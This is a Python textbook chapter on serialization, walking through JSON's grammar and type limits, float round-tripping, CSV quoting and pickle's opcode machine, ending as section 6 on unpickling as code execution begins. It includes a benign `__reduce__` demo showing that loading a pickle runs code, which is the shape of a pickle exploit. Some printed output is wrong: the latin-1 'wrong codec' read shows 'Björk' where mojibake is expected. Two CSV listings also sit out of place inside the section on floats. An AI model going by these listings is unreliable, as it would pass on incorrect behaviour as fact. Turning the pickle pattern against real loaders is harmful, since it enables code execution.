18Serialization — flattening the object graph

In Chapter 17 we watched a string dissolve into bytes. Every character became a code point, and every code point a run of UTF-8 the whole world can read back. In this one we try the same trick on something far less cooperative: a live Song object. It's the kind you built back in Chapter 15, closed the program on, and lost — gone, the way a thought is gone the instant you stop thinking it. Your instinct says the fix is one line: write the object to a file. But there is no the object to write. What we've been calling an object is a scattering of pointers into this one process's RAM, and RAM dies with the process. So here's the plan. We build the machine that survives that death. It walks the live object graph, flattens it into a self-contained ribbon of bytes, and rebuilds the same shape in a fresh process that shares none of the old addresses. Then we weigh the two great bargains that machine can strike. JSON keeps only what every language on Earth already agrees on. pickle keeps everything Python knows, including, alarmingly, the power to run code as it loads. And the whole way through we keep circling the one question that matters — if an object is really just addresses, and addresses die with the process, what is there left to save? By the end we've built the answer: a hand-owned bridge that flattens a Song to bytes, ships it, and reloads it as a real Song on the far side, every lossy seam labelled in code you can read. The one law under all of it: what crosses a process boundary is always bytes, never objects.

01Why you can't just write the object

Let's start with what looks like the easy version of the problem. You have a song. It's right there. Print its title, ask for its artist, iterate its collaborators — it feels as solid as a rock on a desk. So the ask sounds trivial: take that rock, drop it in a file, let tomorrow's program pick it up again. Try it, and Python slaps your hand: TypeError: a bytes-like object is required, not 'Song'. Don't read that as Python being fussy. Read it as Python telling you a deep truth about what a Song actually is. And the moment you see it, serialization stops being a magic incantation you paste from Stack Overflow. It becomes the one inevitable answer to a problem you can finally state precisely.

Here's the truth, and it's worth slowing right down for. When you wrote song = Song("Roar", artist), the name song did not become a Song. It became a pointer: a single machine word, 8 bytes on a 64-bit build, holding a virtual address like 0x7f9c001a20. That number only means something inside this process's private address space. The kernel wired that space up with mmap and brk, and the MMU translates it page-by-page into physical RAM frames. Follow the pointer and you land on a PyObject header: a reference count, and ob_type, which is itself a pointer to the class object elsewhere on the heap. Next comes the instance's __dict__, which is yet another pointer to a dict living somewhere else again. That dict's values are more pointers: the title string at one address, the artist Song at a third, a list of collaborators at a fourth. The rock you pictured is really a directed graph whose edges are raw memory addresses.

>>> song = Song("Roar", artist)
>>> hex(id(song))        # the object itself…
'0x7f9c001a20'
>>> hex(id(song.title))  # …its title lives somewhere else entirely
'0x7f9c0b3410'
>>> hex(id(song.artist)) # …and its artist somewhere else again
'0x7f9c0018e0'

Now the killer fact, the one that makes the whole problem inescapable: those addresses are process-local and non-deterministic. Modern kernels use ASLR — address-space layout randomization — to hand your heap a different base address on every launch. The allocator then gives out whatever frame happens to be free at that instant. So write the raw 8 bytes of song, the pointer 0x7f9c001a20, to disk. Quit, reload tomorrow, and that number now points at unmapped memory. Worse, it may point at some unrelated data a fresh process happened to put there. Best case, a segfault. Worst case, silent garbage that looks almost right. And you cannot escape by writing the whole struct instead of the pointer. The struct is full of interior pointers — ob_type, __dict__, every value — and every one of them is equally dead on the far side.

So what is the only move left? If the addresses are worthless outside this process, throw them away and keep what isn't local: the values and the structure. Walk every node reachable from the root. Emit a self-contained byte sequence that says what each leaf is and how the nodes nest, never where anything sits in memory. A fresh process reads that sequence, allocates brand-new objects at its own brand-new addresses, and re-wires new pointers into the same shape. That walk-and-emit is serialization. The inverse allocate-and-rewire is deserialization. This is exactly why you can memcpy an array of ints to disk and read it back: an int array is nothing but values, laid flat. But you can never do the same to an object graph, which is nothing but addresses.

So the byte stream must describe values and nesting, never addresses. The oldest, most universal grammar for doing exactly that is JSON — six value types and a state machine that walks them. Next: how that machine reads a byte at a time, and why it explodes on a stray comma. →

02JSON is a grammar a state machine parses

You have typed json.loads('{"a":1}') a hundred times and it just works. Then one afternoon it throws json.decoder.JSONDecodeError: Expecting ',' delimiter: line 1 column 14 (char 13), and you have no model for why. If JSON is a mysterious blob format, that error is a coin flip and every fix is a guess. But JSON is not mysterious. It is a tiny, formally specified grammar — ECMA-404, RFC 8259. Once you can watch the machine that walks it, you can predict to the exact character what will parse and what will detonate.

The grammar has exactly six value types and no more: object, array, string, number, the literals true/false, and null. It is also recursive. A value may be an object whose values are themselves values, so nesting is unbounded — but the rules are finite and fixed. That combination, unbounded nesting under finite rules, is exactly what a pushdown automaton handles: a state machine plus a stack. The parser reads bytes strictly left to right. Its current state says which tokens are legal next. Its stack remembers how deep it is nested, so it can tell whether a closing brace shuts the container it actually opened. That stack is why it is pushdown and not merely a flat state machine. Matching brackets is impossible without one.

CPython's json module drives this with a C scanner, _json.scanner, that recognizes each value by its first byte. A { begins an object, [ an array, a " a string, t/f/n a literal, and a digit or - a number. Strings need no length prefix. They are self-delimiting: opened by ", closed by the next unescaped ", with \ introducing escapes like \n or \uXXXX. Watch the machine walk a real string, state by state:

# input:  { "a" : 1 }
{   push object onto stack   state → EXPECT-KEY-OR-CLOSE
"a" read string key         state → EXPECT-COLON
:   consume colon           state → EXPECT-VALUE
1   read number token       state → EXPECT-COMMA-OR-CLOSE
}   pop object off stack    stack empty → DONE

Now the errors write themselves. There is no trailing-comma rule, no comments, no single quotes, and keys must be double-quoted strings. That's not because someone forbade the alternatives. It's because the grammar simply has no production for them. Feed the machine {"a":1,} and after the comma it enters EXPECT-KEY, then sees } — a state with no legal transition on that byte. It cannot continue, so it raises JSONDecodeError and, crucially, reports the exact byte offset where the transition failed. Read column 14 not as noise but as a sentence: "the automaton was in state EXPECT-COMMA-OR-CLOSE and the byte at position 13 was not a comma or a brace." Suddenly the cryptic message is a precise diagnosis.

And serialization — json.dumps — is simply this machine run in reverse. It is a recursive walk down the Python object that emits the grammar as it descends: printing a {, then each "key":, recursing into each value, weaving , between siblings, and closing with }. Encode and decode are the same grammar read two directions. One writes the string, one proves it.

you type
# json_doors.py -- the four doors of the json module, and the type map both ways
import json
from pathlib import Path

track = {"title": "Levels", "artist": "Avicii", "secs": 203,
         "tags": ["house", "edm"], "live": False, "bpm": 126.0, "notes": None}

text = json.dumps(track)                        # door 1: object -> str
print("dumps      :", text)
print("that is a  :", type(text).__name__, "of", len(text), "characters")

back = json.loads(text)                         # door 2: str -> object
print("loads      :", type(back).__name__, "| equal to the original:", back == track)
print("but not the same object:", back is track)

print()
print("indent=2, sort_keys=True:")
print(json.dumps(track, indent=2, sort_keys=True))

p = Path("track.json")
with open(p, "w", encoding="utf-8", newline="\n") as f:   # ch 15's habits, kept
    json.dump(track, f, indent=2)               # door 3: object -> FILE (no 's')
with open(p, "r", encoding="utf-8") as f:
    from_file = json.load(f)                    # door 4: FILE -> object
print()
print("file bytes :", p.stat().st_size)
print("file round-trip:", from_file == track)

print()
print(f"{'python in':<16} {'json text':<18} {'python out':<12}")
for value in [{"a": 1}, [1, 2], "hi", 7, 2.5, True, None]:
    out = json.dumps(value)
    print(f"{str(value):<16} {out:<18} {type(json.loads(out)).__name__:<12}")

p.unlink()

you see
dumps      : {"title": "Levels", "artist": "Avicii", "secs": 203, "tags": ["house", "edm"], "live": false, "bpm": 126.0, "notes": null}
that is a  : str of 122 characters
loads      : dict | equal to the original: True
but not the same object: False

indent=2, sort_keys=True:
{
  "artist": "Avicii",
  "bpm": 126.0,
  "live": false,
  "notes": null,
  "secs": 203,
  "tags": [
    "house",
    "edm"
  ],
  "title": "Levels"
}

file bytes : 150
file round-trip: True

python in        json text          python out  
{'a': 1}         {"a": 1}           dict        
[1, 2]           [1, 2]             list        
hi               "hi"               str         
7                7                  int         
2.5              2.5                float       
True             true               bool        
None             null               NoneType    

The machine is exact — but it only knows six types. Your Python has hundreds. What happens when a tuple, a set, or a datetime tries to cross a border that has no room for it? Next: the lossy projection from Python's universe down onto JSON's six. →

you type
# json_unicode.py -- what json does to non-ASCII text, and the one knob that stops it
import json
from pathlib import Path

song = {"title": "Jóga", "artist": "Björk", "note": "さくら"}

escaped  = json.dumps(song)                        # ensure_ascii=True is the DEFAULT
readable = json.dumps(song, ensure_ascii=False)    # the characters themselves
print("default        :", escaped)
print("ensure_ascii=F :", readable)
print("same data      :", json.loads(escaped) == json.loads(readable) == song)

print()
print("characters     :", len(escaped), "vs", len(readable))
print("utf-8 bytes    :", len(escaped.encode("utf-8")), "vs", len(readable.encode("utf-8")))
print("ascii bytes    :", len(escaped.encode("ascii")), "vs", "UnicodeEncodeError")

p = Path("song.json")
with open(p, "w", encoding="utf-8", newline="\n") as f:   # ch 17: NAME the codec
    json.dump(song, f, ensure_ascii=False, indent=2)
print()
print("on disk        :", p.stat().st_size, "bytes")
print(p.read_text(encoding="utf-8"))

with open(p, "r", encoding="utf-8") as f:
    print("read back      :", json.load(f) == song)

with open(p, "r", encoding="latin-1") as f:              # the wrong key, ch 17's mojibake
    print("wrong codec    :", json.load(f)["artist"])

p.unlink()

you see
default        : {"title": "J\u00f3ga", "artist": "Bj\u00f6rk", "note": "\u3055\u304f\u3089"}
ensure_ascii=F : {"title": "Jóga", "artist": "Björk", "note": "さくら"}
same data      : True

characters     : 76 vs 51
utf-8 bytes    : 76 vs 59
ascii bytes    : 76 vs UnicodeEncodeError

on disk        : 67 bytes
{
  "title": "Jóga",
  "artist": "Björk",
  "note": "さくら"
}
read back      : True
wrong codec    : Björk

03JSON's value model is smaller than Python's

You round-trip a Song through JSON and get a bug that never crashes. The tuple of genres came back a list. A dict you had keyed by (row, col) tuples refuses to encode at all. The set of tags is simply gone. Nothing threw a loud error at the moment that mattered. The data just quietly changed shape under you. To stop being ambushed by this, you have to internalize one fact and let it reorganize how you think about the boundary: JSON's universe has only six types, so everything richer in Python must be projected down onto them, and that projection is lossy by design, not by accident.

>>> import json
>>> json.dumps({"genres": ("pop", "rock")})     # a tuple. Not one word of complaint.
>>> type(json.loads(json.dumps({"genres": ("pop", "rock")}))["genres"])   # tuple in, list out
>>> f = open("song.json", "w")
>>> try: json.dump({"title": "Roads", "plays": 3, "tags": {"trip-hop"}}, f)
... except TypeError as e: print("raised:", e)
...
>>> f.close(); open("song.json").read()

'{"genres": ["pop", "rock"]}'
<class 'list'>
raised: Object of type set is not JSON serializable
'{"title": "Roads", "plays": 3, "tags": '

Python's type system is vastly larger than JSON's six, so the encoder maps many-to-few, and mapping many onto few must destroy information. Three concrete collisions matter most. First, tuple and list both become the JSON array. The array has no concept of immutability, so json.loads(json.dumps((1, 2))) hands you back [1, 2]. The tuple-ness is gone, because the grammar has exactly one sequence type and both Python sequences fold into it. Second, object keys must be strings. At the grammar level a JSON key is a string, with no other option. So json.dumps quietly coerces int, float, bool, and None keys to their string form, and flatly refuses tuple keys:

>>> import json
>>> json.dumps({1: "a", True: "b"})   # int and bool keys…
'{"1": "a", "true": "b"}'          # …silently become strings
>>> json.dumps({(0, 0): "origin"})    # a tuple key has no string form
TypeError: keys must be str, int, float, bool or None, not tuple

Third, and most sharply: set, frozenset, bytes, bytearray, complex, Decimal, datetime, and every class you ever wrote have no JSON type at all. There is nothing to project onto. When the C encoder walks your object and reaches a value whose type isn't in its small known-type table, it calls the default hook. The built-in default does exactly one thing: it raises. That is the origin of the message you'll see a thousand times, TypeError: Object of type set is not JSON serializable. It is not the encoder being lazy. It is the encoder being honest that no correct answer exists in the target grammar.

you type
# json_limits.py -- three things json does to types that do not fit, and the escape hatch
import json
from datetime import date

pair = ("pop", "rock")
print("tuple in   :", pair, "->", type(pair).__name__)
print("json text  :", json.dumps(pair))
out = json.loads(json.dumps(pair))
print("tuple out  :", out, "->", type(out).__name__, " <- the tuple-ness is gone")

keys = {1: "one", 2.5: "half", False: "no", None: "none"}
print()
print("dict in    :", keys)
print("json text  :", json.dumps(keys))
print("dict out   :", json.loads(json.dumps(keys)), " <- every key is a str now")

print()
for value in [{"edm", "house"}, date(2026, 7, 12), b"raw", 3 + 4j]:
    try:
        json.dumps(value)
    except TypeError as e:
        print(f"{type(value).__name__:<8} -> TypeError: {e}")

def leaf(o):                               # YOUR rule for a type json has never met
    if isinstance(o, set):
        return sorted(o)
    if isinstance(o, date):
        return o.isoformat()
    raise TypeError(f"no rule for {type(o).__name__}")

print()
song = {"title": "Levels", "tags": {"house", "edm"}, "released": date(2011, 10, 28)}
print("default=   :", json.dumps(song, default=leaf))
try:
    json.dumps({"x": 3 + 4j}, default=leaf)
except TypeError as e:
    print("still open :", e)

you see
tuple in   : ('pop', 'rock') -> tuple
json text  : ["pop", "rock"]
tuple out  : ['pop', 'rock'] -> list  <- the tuple-ness is gone

dict in    : {1: 'one', 2.5: 'half', False: 'no', None: 'none'}
json text  : {"1": "one", "2.5": "half", "false": "no", "null": "none"}
dict out   : {'1': 'one', '2.5': 'half', 'false': 'no', 'null': 'none'}  <- every key is a str now

set      -> TypeError: Object of type set is not JSON serializable
date     -> TypeError: Object of type date is not JSON serializable
bytes    -> TypeError: Object of type bytes is not JSON serializable
complex  -> TypeError: Object of type complex is not JSON serializable

default=   : {"title": "Levels", "tags": ["edm", "house"], "released": "2011-10-28"}
still open : no rule for complex

Why would anyone design a format this small? Because smallness is the feature. JSON exists to cross language boundaries — from a Python service to a Go service to a browser's JavaScript to a Postgres jsonb column. So the only types it dares include are the ones every one of those languages already agrees on. A Python set or a Ruby Symbol or a Go chan has no counterpart in the others, so JSON refuses to pretend it does. The lowest common denominator is the whole point.

# tuple_surprise.py -- predict the type on the far side, prove it, then re-impose it
import json


def rt(value):                                   # one round trip, out and back
    return json.loads(json.dumps(value))


CASES = [("a tuple", ("pop", "rock")), ("a list", ["pop", "rock"]),
         ("an int", 203), ("a float", 203.0), ("a bool", True), ("nothing", None)]

print(f"{'case':<12}{'you sent':<10}{'you get':<10}same type?")
for name, value in CASES:
    out = rt(value)
    print(f"{name:<12}{type(value).__name__:<10}{type(out).__name__:<10}{type(value) is type(out)}")

# ---- why the tuple row is the one that bites ----
cfg = {"genres": ("pop", "rock"), "sizes": {3: "short", 7: "long"}}
back = rt(cfg)
print()
print("sent  :", cfg)
print("back  :", back)

back["genres"].append("jazz")                    # a tuple would have refused this
print("mutated:", back["genres"], "- immutability was a promise the file could not keep")
try:
    back["sizes"][3]
except KeyError as e:
    print("KeyError:", e, "- the key you stored as int 3 came back as the str '3'")


# ---- the fix: you re-impose the types you know you wrote ----
def rebuild(d):
    return {"genres": tuple(d["genres"][:2]),
            "sizes": {int(k): v for k, v in d["sizes"].items()}}


fixed = rebuild(back)
print()
print("rebuilt:", fixed)
print("equal  :", fixed == cfg, "| genres is a", type(fixed["genres"]).__name__,
      "| sizes[3] =", fixed["sizes"][3])

# ------------- what it prints -------------
case        you sent  you get   same type?
a tuple     tuple     list      False
a list      list      list      True
an int      int       int       True
a float     float     float     True
a bool      bool      bool      True
nothing     NoneType  NoneType  True

sent  : {'genres': ('pop', 'rock'), 'sizes': {3: 'short', 7: 'long'}}
back  : {'genres': ['pop', 'rock'], 'sizes': {'3': 'short', '7': 'long'}}
mutated: ['pop', 'rock', 'jazz'] - immutability was a promise the file could not keep
KeyError: 3 - the key you stored as int 3 came back as the str '3'

rebuilt: {'genres': ('pop', 'rock'), 'sizes': {3: 'short', 7: 'long'}}
equal  : True | genres is a tuple | sizes[3] = short

# The one honest sentence to take away:
#   json.dumps is lossy on the way OUT, and json.loads has no way to un-lose it.
#   Every type that matters to your program must be re-imposed by code you wrote --
#   which is exactly the to_dict / from_dict bridge this chapter builds in section 7.

The consequence lands squarely on you. Anything outside the six types is your responsibility to encode, and there is no automatic right answer because the target type genuinely does not exist on the far side. A set could become a sorted list, or a list plus a "__set__" marker, or something else. You pick the projection, and you own the inverse. The encoder gives you a hook to do it. json.dumps(value, default=fn) calls your fn on every object it doesn't recognize, and whatever JSON-safe value you return gets encoded in its place.

# datetime_default.py -- teach json.dumps one new type, then teach json.loads the way back
import json
from datetime import datetime, date

played = {"track": "Levels",
          "at": datetime(2026, 7, 12, 21, 30, 5),
          "day": date(2011, 10, 28),
          "tags": {"house", "edm"}}

try:
    json.dumps(played)
except TypeError as e:
    print("no rule    :", e)


def encode_leaf(o):                    # json calls this ONLY for types it cannot map
    if isinstance(o, datetime):        # datetime first: it is a subclass of date
        return {"__type__": "datetime", "iso": o.isoformat()}
    if isinstance(o, date):
        return {"__type__": "date", "iso": o.isoformat()}
    if isinstance(o, set):
        return {"__type__": "set", "items": sorted(o)}
    raise TypeError(f"json has no rule for {type(o).__name__}")


text = json.dumps(played, default=encode_leaf, sort_keys=True)
print()
print("encoded    :", text)


def decode_leaf(d):                    # json calls this for EVERY object it builds
    kind = d.get("__type__")
    if kind == "datetime":
        return datetime.fromisoformat(d["iso"])
    if kind == "date":
        return date.fromisoformat(d["iso"])
    if kind == "set":
        return set(d["items"])
    return d


back = json.loads(text, object_hook=decode_leaf)
print()
print("at         :", repr(back["at"]))
print("day        :", repr(back["day"]))
print("tags       :", back["tags"] == played["tags"], "| a real", type(back["tags"]).__name__)
print("round-trip :", back == played)

try:
    json.dumps({"price": 3 + 4j}, default=encode_leaf)
except TypeError as e:
    print()
    print("still open :", e, "- a hook covers the types you named, and no others")

# ------------- what it prints -------------
no rule    : Object of type datetime is not JSON serializable

encoded    : {"at": {"__type__": "datetime", "iso": "2026-07-12T21:30:05"}, "day": {"__type__": "date", "iso": "2011-10-28"}, "tags": {"__type__": "set", "items": ["edm", "house"]}, "track": "Levels"}

at         : datetime.datetime(2026, 7, 12, 21, 30, 5)
day        : datetime.date(2011, 10, 28)
tags       : True | a real set
round-trip : True

still open : json has no rule for complex - a hook covers the types you named, and no others

# Why the tagged dict, and not just the ISO string:
#   "2011-10-28" is a perfectly good str, so a plain isoformat() round-trips to a str
#   and your code silently loses the type. The __type__ tag is the one bit of
#   information JSON cannot infer -- so you write it down on purpose.

Even inside the six safe types, one hides a trap. A JSON number looks like a plain decimal, but under it sits a 64-bit float — and floats cannot represent 0.1. Next: the IEEE-754 wrinkle that quietly loses a penny across a service boundary. →

04The float wrinkle: IEEE-754 doesn't round-trip decimals

You store a price of 0.1, serialize it, ship it to a Go service, and the nightly reconciliation flags a penny of drift. You did not write a bug. You re-read your logic ten times and it is correct. What you hit is not in your code at all. It is in the silicon: 0.1 is not representable in binary, and a JSON number inherits every quirk of the IEEE-754 double it rides on. If you go on believing floats are decimals, money code and cross-language pipelines will betray you in ways no amount of staring at your source will ever explain.

A Python float is a C double: 64 bits, laid out by IEEE-754 as 1 sign bit, 11 exponent bits, and 52 fraction bits, encoding the value ±(1.fraction) × 2(exponent−1023). The fraction is binary, a sum of 1/2, 1/4, 1/8, … Decimal 0.1 is 1/10. And just as 1/3 has no finite decimal expansion, 1/10 has no finite binary one. So the machine cannot store 0.1. It stores the nearest representable double, which is not 0.1 but:

>>> from decimal import Decimal
>>> Decimal(0.1)      # the EXACT value the bits hold
Decimal('0.1000000000000000055511151231257827021181583404541015625')
>>> 0.1 + 0.2
0.30000000000000004       # the nearest double to the SUM, not 0.3
>>> 0.1 + 0.2 == 0.3
False

That rounding error is baked into the bits before serialization ever runs. So why, when you json.dumps(0.1), do you see a clean 0.1 and not the 55-digit tail? Because since Python 3.1, repr of a float uses a shortest-round-trip algorithm (David Gay's, later Grisu/Ryū-style). It emits the shortest decimal string that, when parsed back to the nearest double, reproduces the exact same bits. 0.1 is the shortest string that lands back on that particular double, so 0.1 is what you get. It's elegant, and quietly dangerous, because of what "round-trips" actually promises.

The promise is narrow: double → string → double, within IEEE-754. It guarantees that your own Python reading your own Python's output lands on the identical double. It says nothing about the true mathematical value 1/10, and it shatters the moment the far end doesn't share the exact same rules. A language that prints a fixed 17 digits, or reads into a 32-bit float, or parses into a decimal type, can land on a different value from the same text. And arithmetic makes it worse. 0.1 + 0.2 serializes as 0.30000000000000004, because that string is the shortest one identifying the nearest double to the sum. The error was there before dumps was called. Serialization only revealed it.

When you truly need exact decimals — and finance always does — reach for decimal.Decimal. It stores digits in base ten and has no binary rounding. Serialize it as a string, so JSON's number grammar never re-floats it. Note Decimal(0.1) versus Decimal("0.1"): the first copies the float's error in, and the second is exactly one-tenth. Feed Decimal the string, not the float, and drift disappears.

you type
# csv_doors.py -- the four csv doors, and the newline='' that is not decoration
import csv
from pathlib import Path

ROWS = [["title", "artist", "secs"],
        ["Levels", "Avicii", "203"],
        ["Titanium", "David Guetta", "245"]]
p = Path("tracks.csv")

with open(p, "w", newline="", encoding="utf-8") as f:   # newline='': csv writes its own
    csv.writer(f).writerows(ROWS)
print("raw bytes  :", p.read_bytes())

with open(p, "r", newline="", encoding="utf-8") as f:
    for row in csv.reader(f):
        print("reader     :", row, "| cells are", type(row[0]).__name__)

with open(p, "r", newline="", encoding="utf-8") as f:
    for d in csv.DictReader(f):            # row 1 becomes the field names
        print("DictReader :", d)

with open(p, "w", newline="", encoding="utf-8") as f:
    w = csv.DictWriter(f, fieldnames=["title", "artist", "secs"])
    w.writeheader()                        # you must ask for the header row
    w.writerow({"title": "Levels", "artist": "Avicii", "secs": 203})
print("DictWriter :", p.read_bytes())

with open(p, "w", encoding="utf-8") as f:  # the SAME code, newline='' forgotten
    csv.writer(f).writerows(ROWS)
print()
print("no newline='':", p.read_bytes())
with open(p, "r", newline="", encoding="utf-8") as f:
    print("rows read   :", [r for r in csv.reader(f)])

p.unlink()

you see
raw bytes  : b'title,artist,secs\r\nLevels,Avicii,203\r\nTitanium,David Guetta,245\r\n'
reader     : ['title', 'artist', 'secs'] | cells are str
reader     : ['Levels', 'Avicii', '203'] | cells are str
reader     : ['Titanium', 'David Guetta', '245'] | cells are str
DictReader : {'title': 'Levels', 'artist': 'Avicii', 'secs': '203'}
DictReader : {'title': 'Titanium', 'artist': 'David Guetta', 'secs': '245'}
DictWriter : b'title,artist,secs\r\nLevels,Avicii,203\r\n'

no newline='': b'title,artist,secs\r\r\nLevels,Avicii,203\r\r\nTitanium,David Guetta,245\r\r\n'
rows read   : [['title', 'artist', 'secs'], [], ['Levels', 'Avicii', '203'], [], ['Titanium', 'David Guetta', '245'], []]

JSON keeps only what every language shares, and pays for it in tuples, sets, cycles, and drift. What if you want a format that keeps everything Python knows — shared references, cycles, real classes, sets that stay sets? That is pickle, and it isn't text at all. Next: a program for a tiny stack machine. →

# csv_commas.py -- the delimiter is in the data, and quoting is the whole answer
import csv
from pathlib import Path

TRACKS = [("Levels", "Avicii", 203),
          ("Sing, Sing, Sing", "Benny Goodman", 512),
          ('Say "Hello"', "Deep Cut", 180),
          ("Verse\nChorus", "The Line Breakers", 95)]

# ---- 1. the hand-rolled writer from chapter 15, aimed at hostile titles ----
naive = Path("naive.csv")
with open(naive, "w", encoding="utf-8", newline="\n") as f:
    for title, artist, secs in TRACKS:
        f.write(f"{title},{artist},{secs}\n")

print("naive file, line by line:")
for n, line in enumerate(naive.read_text(encoding="utf-8").splitlines(), 1):
    fields = line.split(",")
    flag = "ok" if len(fields) == 3 else "BROKEN"
    print(f"  line {n}: {len(fields)} fields  {flag:<7} {fields}")

# ---- 2. the csv module, same data, same delimiter ----
good = Path("good.csv")
with open(good, "w", newline="", encoding="utf-8") as f:
    csv.writer(f).writerows(TRACKS)
print()
print("csv file bytes:")
print(" ", good.read_bytes())

with open(good, "r", newline="", encoding="utf-8") as f:
    rows = list(csv.reader(f))
print()
for row in rows:
    print("  read back  :", row)
print()
print("titles intact :", [r[0] for r in rows] == [t[0] for t in TRACKS])
print("field counts  :", [len(r) for r in rows])
print("secs is a     :", type(rows[0][2]).__name__, "- csv never converts, you do")

naive.unlink()
good.unlink()

# ------------- what it prints -------------
naive file, line by line:
  line 1: 3 fields  ok      ['Levels', 'Avicii', '203']
  line 2: 5 fields  BROKEN  ['Sing', ' Sing', ' Sing', 'Benny Goodman', '512']
  line 3: 3 fields  ok      ['Say "Hello"', 'Deep Cut', '180']
  line 4: 1 fields  BROKEN  ['Verse']
  line 5: 3 fields  ok      ['Chorus', 'The Line Breakers', '95']

csv file bytes:
  b'Levels,Avicii,203\r\n"Sing, Sing, Sing",Benny Goodman,512\r\n"Say ""Hello""",Deep Cut,180\r\n"Verse\nChorus",The Line Breakers,95\r\n'

  read back  : ['Levels', 'Avicii', '203']
  read back  : ['Sing, Sing, Sing', 'Benny Goodman', '512']
  read back  : ['Say "Hello"', 'Deep Cut', '180']
  read back  : ['Verse\nChorus', 'The Line Breakers', '95']

titles intact : True
field counts  : [3, 3, 3, 3]
secs is a     : str - csv never converts, you do

# Read the naive counts one at a time:
#   3  fine -- no delimiter in the data
#   5  "Sing, Sing, Sing" contributed two extra commas
#   3  a double quote is harmless to split(","), which is luck, not safety
#   1  the embedded newline ENDED the line early
#   3  ...and the rest of that title became a whole fake row
#
# This is the ch-15 pipe bug wearing a different delimiter. There is no separator
# character that data cannot contain -- which is why real formats quote or escape.

05pickle serializes the real graph, cycles and all

JSON made you hand-flatten every object and then choked on sets and on cycles, and silently duplicated the artist two Songs share. You want the opposite tool: one that captures Python's actual object graph, identity and all, and hands it back byte-for-byte on the far side. That tool is pickle. To trust it now, and to fear it in the very next section, you need to see what it truly is. It is not text, not a document, not JSON with more types. A pickle is a program for a tiny stack-based virtual machine, and unpickling is that program executing.

A pickle is a stream of opcodes. Each one pushes or pops values on a stack and gradually builds objects, and the Unpickler is the interpreter that runs them. A protocol-2+ stream opens with PROTO 2, then instructions like EMPTY_DICT (push a fresh dict), BININT (push an int), SHORT_BINUNICODE (push a string), SETITEMS (pop key/value pairs into the dict beneath them), and finally STOP (pop the finished object as the result). You can print the whole program with pickletools.dis and read it like assembly:

>>> import pickle, pickletools
>>> pickletools.dis(pickle.dumps({"a": 1}))
    0: \x80 PROTO      4
    2: }    EMPTY_DICT
    3: \x94 MEMOIZE    (as 0)      # ← record this object in slot 0
    4: \x8c SHORT_BINUNICODE 'a'
    7: \x94 MEMOIZE    (as 1)
    8: K    BININT1    1
   10: s    SETITEM
   11: .    STOP

The magic that JSON could never match lives in one word above: MEMOIZE. The pickler keeps a memo, a dict mapping each object's id() to the memo slot where it was first built. It walks the graph in a recursive descent from the root. The first time it meets an object, it serializes it fully and emits a MEMOIZE to record it. If it ever meets that same object again — same identity, same id() — it does not re-serialize it. It emits a GET opcode that just says "push whatever is in slot N." That single mechanism buys two things JSON structurally cannot.

First, shared references survive. Two Songs pointing at one Artist pickle the Artist once. Both Songs get a GET to the same slot, so after unpickling a.artist is b.artist is still True — the address fact from section 1, preserved. Second, and more remarkably, cycles terminate. A list that contains itself is memoized before its contents are pickled, so when the walk reaches the self-reference it emits a GET pointing back at the not-yet-finished object. The unpickler builds incrementally and memoizes as it goes, so it wires that pointer back into the same under-construction list. No infinite recursion, just a loop rebuilt exactly.

>>> a = Song("Roar", artist); b = Song("Dark Horse", artist)
>>> na, nb = pickle.loads(pickle.dumps((a, b)))
>>> na.artist is nb.artist       # sharing preserved — one artist, not two
True
>>> L = []; L.append(L)          # a list containing itself
>>> L2 = pickle.loads(pickle.dumps(L))
>>> L2[0] is L2             # the cycle came back intact
True

pickle also captures type, which JSON discards entirely. It stores a reference to the class by module and qualified name, via the GLOBAL/STACK_GLOBAL opcodes. Then it reconstructs an instance by allocating it and restoring its __dict__ — or, for objects that customize it, by calling __reduce__ and __setstate__. So a set comes back a set, a tuple stays a tuple, bytes stay bytes, and your own Song comes back a real Song, not a bare dict.

you type
# pickle_doors.py -- pickle on YOUR class: total fidelity, real bytes, and one law
import json
import pickle
from dataclasses import dataclass
from pathlib import Path


@dataclass
class Track:
    title: str
    artist: str
    secs: int
    tags: set


t = Track("Levels", "Avicii", 203, {"house", "edm"})

blob = pickle.dumps(t)                      # object -> BYTES (never text)
print("dumps gives:", type(blob).__name__, "of", len(blob), "bytes")
print("first 48   :", blob[:48])
print("your class :", b"__main__" in blob and b"Track" in blob)

back = pickle.loads(blob)                   # bytes -> a real, live object
print()
print("loads gives:", back.title, "by", back.artist, "|", back.secs, "s | tags", sorted(back.tags))
print("equal      :", back == t, "| same object:", back is t)
print("class kept :", type(back).__name__, "| tags is still a", type(back.tags).__name__)

p = Path("track.pkl")
with open(p, "wb") as f:                    # 'wb' -- binary, no encoding= anywhere
    pickle.dump(t, f)
with open(p, "rb") as f:
    from_file = pickle.load(f)
print("file trip  :", from_file == t, "|", p.stat().st_size, "bytes")
print("protocol   :", pickle.DEFAULT_PROTOCOL, "of", pickle.HIGHEST_PROTOCOL)

try:                                        # what json says about the same object
    json.dumps(t.__dict__)
except TypeError as e:
    print("json says  :", e)


class Harmless:                             # the same door an attacker uses
    def __reduce__(self):
        return (print, ("  <-- this ran INSIDE loads(), before you saw any data",))


print()
print("loading a stranger's pickle:")
pickle.loads(pickle.dumps(Harmless()))
print("you never called print(); the byte stream did")
p.unlink()

you see
dumps gives: bytes of 110 bytes
first 48   : b'\x80\x04\x95c\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x05Track\x94\x93\x94)\x81\x94}\x94(\x8c\x05title\x94\x8c\x06'
your class : True

loads gives: Levels by Avicii | 203 s | tags ['edm', 'house']
equal      : True | same object: False
class kept : Track | tags is still a set
file trip  : True | 110 bytes
protocol   : 4 of 5
json says  : Object of type set is not JSON serializable

loading a stranger's pickle:
  <-- this ran INSIDE loads(), before you saw any data
you never called print(); the byte stream did

Notice the quiet phrase two sections back — "unpickling is that program executing." A program that can build any object can build one whose construction runs a shell command. Next: why pickle.loads on untrusted bytes is remote code execution, stated from the mechanism, not from fear. →

06Unpickling is code execution

pickle looks like the perfect save format — total fidelity, one line to write, one to read. And you will be tempted. You'll want to pickle a cache and reload it from Redis, accept a pickled payload over a socket, restore a pickled session from a file a user uploaded. Before you do any of that in production, this section installs one hard, first-principles rule. And it earns the rule from the machine, not from paranoia: unpickling bytes you did not create is remote code execution. Not "risky." Not "a smell." The literal thing.

